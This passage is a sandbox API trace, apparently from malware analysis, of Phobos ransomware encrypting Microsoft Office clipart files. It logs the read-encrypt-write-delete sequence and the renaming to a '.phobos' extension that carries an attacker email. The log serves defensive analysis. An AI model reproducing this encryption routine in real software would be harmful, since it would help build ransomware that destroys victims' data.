WriteFile (in: hFile=0x2e4, lpBuffer=0x3359020*, nNumberOfBytesToWrite=0x1390, lpNumberOfBytesWritten=0x2fcf948, lpOverlapped=0x0 | out: lpBuffer=0x3359020*, lpNumberOfBytesWritten=0x2fcf948*=0x1390, lpOverlapped=0x0) returned 1 [0135.575] CryptImportKey (in: hProv=0x7268e0, pbData=0x2fcf8d4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2fcf940 | out: phKey=0x2fcf940*=0x752cd8) returned 1 [0135.575] CryptSetKeyParam (hKey=0x752cd8, dwParam=0x1, pbData=0x2fcf9e8, dwFlags=0x0) returned 1 [0135.575] CryptEncrypt (in: hKey=0x752cd8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x40, dwBufLen=0x40 | out: pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x40) returned 1 [0135.575] CryptDestroyKey (hKey=0x752cd8) returned 1 [0135.575] WriteFile (in: hFile=0x2e4, lpBuffer=0x3359020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2fcf948, lpOverlapped=0x0 | out: lpBuffer=0x3359020*, lpNumberOfBytesWritten=0x2fcf948*=0xf2, lpOverlapped=0x0) returned 1 [0135.575] CryptDestroyKey (hKey=0x752f18) returned 1 [0135.576] CloseHandle (hObject=0x308) returned 1 [0135.576] CloseHandle (hObject=0x2e4) returned 1 [0135.586] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01080_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01080_.wmf")) returned 1 [0135.589] SetEvent (hEvent=0x2b8) returned 1 [0135.589] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2fcf9e8 | out: pbBuffer=0x2fcf9e8) returned 1 [0135.589] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01329_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01329_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0135.589] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x2fcf988 | out: lpFileSize=0x2fcf988*=6016) returned 1 [0135.589] CloseHandle (hObject=0x30c) returned 1 [0135.589] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01329_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01329_.wmf")) returned 0x220 [0135.589] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01329_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01329_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0135.589] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01329_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01329_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0135.590] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcf928 | out: lpNewFilePointer=0x0) returned 1 [0135.590] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcf928 | out: lpNewFilePointer=0x0) returned 1 [0135.590] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01329_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01329_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0135.590] CryptImportKey (in: hProv=0x7268e0, pbData=0x2fcf8e0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2fcf93c | out: phKey=0x2fcf93c*=0x752a98) returned 1 [0135.590] CryptSetKeyParam (hKey=0x752a98, dwParam=0x1, pbData=0x2fcf9e8, dwFlags=0x0) returned 1 [0135.590] ReadFile (in: hFile=0x30c, lpBuffer=0x3359020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2fcf964, lpOverlapped=0x0 | out: lpBuffer=0x3359020*, lpNumberOfBytesRead=0x2fcf964*=0x1780, lpOverlapped=0x0) returned 1 [0135.593] CryptEncrypt (in: hKey=0x752a98, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x1790, dwBufLen=0x1790 | out: pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x1790) returned 1 [0135.593] WriteFile (in: hFile=0x2f8, lpBuffer=0x3359020*, nNumberOfBytesToWrite=0x1790, lpNumberOfBytesWritten=0x2fcf948, lpOverlapped=0x0 | out: lpBuffer=0x3359020*, lpNumberOfBytesWritten=0x2fcf948*=0x1790, lpOverlapped=0x0) returned 1 [0135.594] CryptImportKey (in: hProv=0x7268e0, pbData=0x2fcf8d4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2fcf940 | out: phKey=0x2fcf940*=0x752d58) returned 1 [0135.594] CryptSetKeyParam (hKey=0x752d58, dwParam=0x1, pbData=0x2fcf9e8, dwFlags=0x0) returned 1 [0135.594] CryptEncrypt (in: hKey=0x752d58, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x40, dwBufLen=0x40 | out: pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x40) returned 1 [0135.594] CryptDestroyKey (hKey=0x752d58) returned 1 [0135.594] WriteFile (in: hFile=0x2f8, lpBuffer=0x3359020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2fcf948, lpOverlapped=0x0 | out: lpBuffer=0x3359020*, lpNumberOfBytesWritten=0x2fcf948*=0xf2, lpOverlapped=0x0) returned 1 [0135.594] CryptDestroyKey (hKey=0x752a98) returned 1 [0135.594] CloseHandle (hObject=0x30c) returned 1 [0135.594] CloseHandle (hObject=0x2f8) returned 1 [0135.595] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01329_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01329_.wmf")) returned 1 [0135.596] SetEvent (hEvent=0x2b8) returned 1 [0135.596] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2fcf9e8 | out: pbBuffer=0x2fcf9e8) returned 1 [0135.596] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01461_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01461_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0135.596] GetFileSizeEx (in: hFile=0x2f8, lpFileSize=0x2fcf988 | out: lpFileSize=0x2fcf988*=5958) returned 1 [0135.596] CloseHandle (hObject=0x2f8) returned 1 [0135.596] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01461_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01461_.wmf")) returned 0x220 [0135.596] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01461_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01461_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0135.596] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01461_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01461_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0135.596] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcf928 | out: lpNewFilePointer=0x0) returned 1 [0135.596] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcf928 | out: lpNewFilePointer=0x0) returned 1 [0135.596] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01461_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01461_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0135.597] CryptImportKey (in: hProv=0x7268e0, pbData=0x2fcf8e0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2fcf93c | out: phKey=0x2fcf93c*=0x753158) returned 1 [0135.597] CryptSetKeyParam (hKey=0x753158, dwParam=0x1, pbData=0x2fcf9e8, dwFlags=0x0) returned 1 [0135.597] ReadFile (in: hFile=0x2f8, lpBuffer=0x3359020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2fcf964, lpOverlapped=0x0 | out: lpBuffer=0x3359020*, lpNumberOfBytesRead=0x2fcf964*=0x1746, lpOverlapped=0x0) returned 1 [0135.609] CryptEncrypt (in: hKey=0x753158, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x1750, dwBufLen=0x1750 | out: pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x1750) returned 1 [0135.609] WriteFile (in: hFile=0x30c, lpBuffer=0x3359020*, nNumberOfBytesToWrite=0x1750, lpNumberOfBytesWritten=0x2fcf948, lpOverlapped=0x0 | out: lpBuffer=0x3359020*, lpNumberOfBytesWritten=0x2fcf948*=0x1750, lpOverlapped=0x0) returned 1 [0135.610] CryptImportKey (in: hProv=0x7268e0, pbData=0x2fcf8d4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2fcf940 | out: phKey=0x2fcf940*=0x752f98) returned 1 [0135.610] CryptSetKeyParam (hKey=0x752f98, dwParam=0x1, pbData=0x2fcf9e8, dwFlags=0x0) returned 1 [0135.610] CryptEncrypt (in: hKey=0x752f98, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x40, dwBufLen=0x40 | out: pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x40) returned 1 [0135.610] CryptDestroyKey (hKey=0x752f98) returned 1 [0135.610] WriteFile (in: hFile=0x30c, lpBuffer=0x3359020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2fcf948, lpOverlapped=0x0 | out: lpBuffer=0x3359020*, lpNumberOfBytesWritten=0x2fcf948*=0xf2, lpOverlapped=0x0) returned 1 [0135.610] CryptDestroyKey (hKey=0x753158) returned 1 [0135.610] CloseHandle (hObject=0x2f8) returned 1 [0135.610] CloseHandle (hObject=0x30c) returned 1 [0135.610] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01461_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01461_.wmf")) returned 1 [0135.612] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2fcf9e8 | out: pbBuffer=0x2fcf9e8) returned 1 [0135.612] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01759_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01759_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0135.612] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x2fcf988 | out: lpFileSize=0x2fcf988*=5414) returned 1 [0135.612] CloseHandle (hObject=0x30c) returned 1 [0135.612] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01759_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01759_.wmf")) returned 0x220 [0135.612] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01759_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01759_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0135.612] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01759_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01759_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0135.612] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcf928 | out: lpNewFilePointer=0x0) returned 1 [0135.612] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcf928 | out: lpNewFilePointer=0x0) returned 1 [0135.613] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01759_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01759_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0135.613] CryptImportKey (in: hProv=0x7268e0, pbData=0x2fcf8e0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2fcf93c | out: phKey=0x2fcf93c*=0x752f98) returned 1 [0135.613] CryptSetKeyParam (hKey=0x752f98, dwParam=0x1, pbData=0x2fcf9e8, dwFlags=0x0) returned 1 [0135.613] ReadFile (in: hFile=0x30c, lpBuffer=0x3359020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2fcf964, lpOverlapped=0x0 | out: lpBuffer=0x3359020*, lpNumberOfBytesRead=0x2fcf964*=0x1526, lpOverlapped=0x0) returned 1 [0135.620] CryptEncrypt (in: hKey=0x752f98, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x1530, dwBufLen=0x1530 | out: pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x1530) returned 1 [0135.620] WriteFile (in: hFile=0x2f8, lpBuffer=0x3359020*, nNumberOfBytesToWrite=0x1530, lpNumberOfBytesWritten=0x2fcf948, lpOverlapped=0x0 | out: lpBuffer=0x3359020*, lpNumberOfBytesWritten=0x2fcf948*=0x1530, lpOverlapped=0x0) returned 1 [0135.623] CryptImportKey (in: hProv=0x7268e0, pbData=0x2fcf8d4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2fcf940 | out: phKey=0x2fcf940*=0x753198) returned 1 [0135.623] CryptSetKeyParam (hKey=0x753198, dwParam=0x1, pbData=0x2fcf9e8, dwFlags=0x0) returned 1 [0135.623] CryptEncrypt (in: hKey=0x753198, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x40, dwBufLen=0x40 | out: pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x40) returned 1 [0135.623] CryptDestroyKey (hKey=0x753198) returned 1 [0135.623] WriteFile (in: hFile=0x2f8, lpBuffer=0x3359020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2fcf948, lpOverlapped=0x0 | out: lpBuffer=0x3359020*, lpNumberOfBytesWritten=0x2fcf948*=0xf2, lpOverlapped=0x0) returned 1 [0135.623] CryptDestroyKey (hKey=0x752f98) returned 1 [0135.623] CloseHandle (hObject=0x30c) returned 1 [0135.623] CloseHandle (hObject=0x2f8) returned 1 [0135.624] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01759_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01759_.wmf")) returned 1 [0135.624] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2fcf9e8 | out: pbBuffer=0x2fcf9e8) returned 1 [0135.624] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01923_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01923_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0135.625] GetFileSizeEx (in: hFile=0x2f8, lpFileSize=0x2fcf988 | out: lpFileSize=0x2fcf988*=26706) returned 1 [0135.625] CloseHandle (hObject=0x2f8) returned 1 [0135.625] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01923_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01923_.wmf")) returned 0x220 [0135.625] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01923_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01923_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0135.625] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01923_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01923_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0135.625] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcf928 | out: lpNewFilePointer=0x0) returned 1 [0135.625] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcf928 | out: lpNewFilePointer=0x0) returned 1 [0135.625] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01923_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01923_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0135.625] CryptImportKey (in: hProv=0x7268e0, pbData=0x2fcf8e0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2fcf93c | out: phKey=0x2fcf93c*=0x753158) returned 1 [0135.625] CryptSetKeyParam (hKey=0x753158, dwParam=0x1, pbData=0x2fcf9e8, dwFlags=0x0) returned 1 [0135.625] ReadFile (in: hFile=0x2f8, lpBuffer=0x3359020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2fcf964, lpOverlapped=0x0 | out: lpBuffer=0x3359020*, lpNumberOfBytesRead=0x2fcf964*=0x6852, lpOverlapped=0x0) returned 1 [0135.638] CryptEncrypt (in: hKey=0x753158, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x6860, dwBufLen=0x6860 | out: pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x6860) returned 1 [0135.638] WriteFile (in: hFile=0x30c, lpBuffer=0x3359020*, nNumberOfBytesToWrite=0x6860, lpNumberOfBytesWritten=0x2fcf948, lpOverlapped=0x0 | out: lpBuffer=0x3359020*, lpNumberOfBytesWritten=0x2fcf948*=0x6860, lpOverlapped=0x0) returned 1 [0135.639] CryptImportKey (in: hProv=0x7268e0, pbData=0x2fcf8d4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2fcf940 | out: phKey=0x2fcf940*=0x752ad8) returned 1 [0135.639] CryptSetKeyParam (hKey=0x752ad8, dwParam=0x1, pbData=0x2fcf9e8, dwFlags=0x0) returned 1 [0135.639] CryptEncrypt (in: hKey=0x752ad8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x40, dwBufLen=0x40 | out: pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x40) returned 1 [0135.639] CryptDestroyKey (hKey=0x752ad8) returned 1 [0135.640] WriteFile (in: hFile=0x30c, lpBuffer=0x3359020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2fcf948, lpOverlapped=0x0 | out: lpBuffer=0x3359020*, lpNumberOfBytesWritten=0x2fcf948*=0xf2, lpOverlapped=0x0) returned 1 [0135.640] CryptDestroyKey (hKey=0x753158) returned 1 [0135.640] CloseHandle (hObject=0x2f8) returned 1 [0135.640] CloseHandle (hObject=0x30c) returned 1 [0135.640] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01923_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01923_.wmf")) returned 1 [0135.641] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2fcf9e8 | out: pbBuffer=0x2fcf9e8) returned 1 [0135.641] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02166_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02166_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0135.641] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x2fcf988 | out: lpFileSize=0x2fcf988*=1324) returned 1 [0135.641] CloseHandle (hObject=0x30c) returned 1 [0135.641] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02166_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02166_.wmf")) returned 0x220 [0135.641] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02166_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02166_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0135.641] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02166_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02166_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0135.642] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcf928 | out: lpNewFilePointer=0x0) returned 1 [0135.642] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcf928 | out: lpNewFilePointer=0x0) returned 1 [0135.643] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02166_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02166_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0135.643] CryptImportKey (in: hProv=0x7268e0, pbData=0x2fcf8e0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2fcf93c | out: phKey=0x2fcf93c*=0x752cd8) returned 1 [0135.643] CryptSetKeyParam (hKey=0x752cd8, dwParam=0x1, pbData=0x2fcf9e8, dwFlags=0x0) returned 1 [0135.643] ReadFile (in: hFile=0x30c, lpBuffer=0x3359020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2fcf964, lpOverlapped=0x0 | out: lpBuffer=0x3359020*, lpNumberOfBytesRead=0x2fcf964*=0x52c, lpOverlapped=0x0) returned 1 [0135.664] CryptEncrypt (in: hKey=0x752cd8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x530, dwBufLen=0x530 | out: pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x530) returned 1 [0135.664] WriteFile (in: hFile=0x2f8, lpBuffer=0x3359020*, nNumberOfBytesToWrite=0x530, lpNumberOfBytesWritten=0x2fcf948, lpOverlapped=0x0 | out: lpBuffer=0x3359020*, lpNumberOfBytesWritten=0x2fcf948*=0x530, lpOverlapped=0x0) returned 1 [0135.666] CryptImportKey (in: hProv=0x7268e0, pbData=0x2fcf8d4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2fcf940 | out: phKey=0x2fcf940*=0x752e98) returned 1 [0135.666] CryptSetKeyParam (hKey=0x752e98, dwParam=0x1, pbData=0x2fcf9e8, dwFlags=0x0) returned 1 [0135.666] CryptEncrypt (in: hKey=0x752e98, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x40, dwBufLen=0x40 | out: pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x40) returned 1 [0135.666] CryptDestroyKey (hKey=0x752e98) returned 1 [0135.666] WriteFile (in: hFile=0x2f8, lpBuffer=0x3359020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2fcf948, lpOverlapped=0x0 | out: lpBuffer=0x3359020*, lpNumberOfBytesWritten=0x2fcf948*=0xf2, lpOverlapped=0x0) returned 1 [0135.666] CryptDestroyKey (hKey=0x752cd8) returned 1 [0135.666] CloseHandle (hObject=0x30c) returned 1 [0135.666] CloseHandle (hObject=0x2f8) returned 1 [0135.666] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02166_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02166_.wmf")) returned 1 [0135.667] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2fcf9e8 | out: pbBuffer=0x2fcf9e8) returned 1 [0135.667] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02298_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02298_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0135.667] GetFileSizeEx (in: hFile=0x2f8, lpFileSize=0x2fcf988 | out: lpFileSize=0x2fcf988*=5552) returned 1 [0135.667] CloseHandle (hObject=0x2f8) returned 1 [0135.668] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02298_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02298_.wmf")) returned 0x220 [0135.668] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft 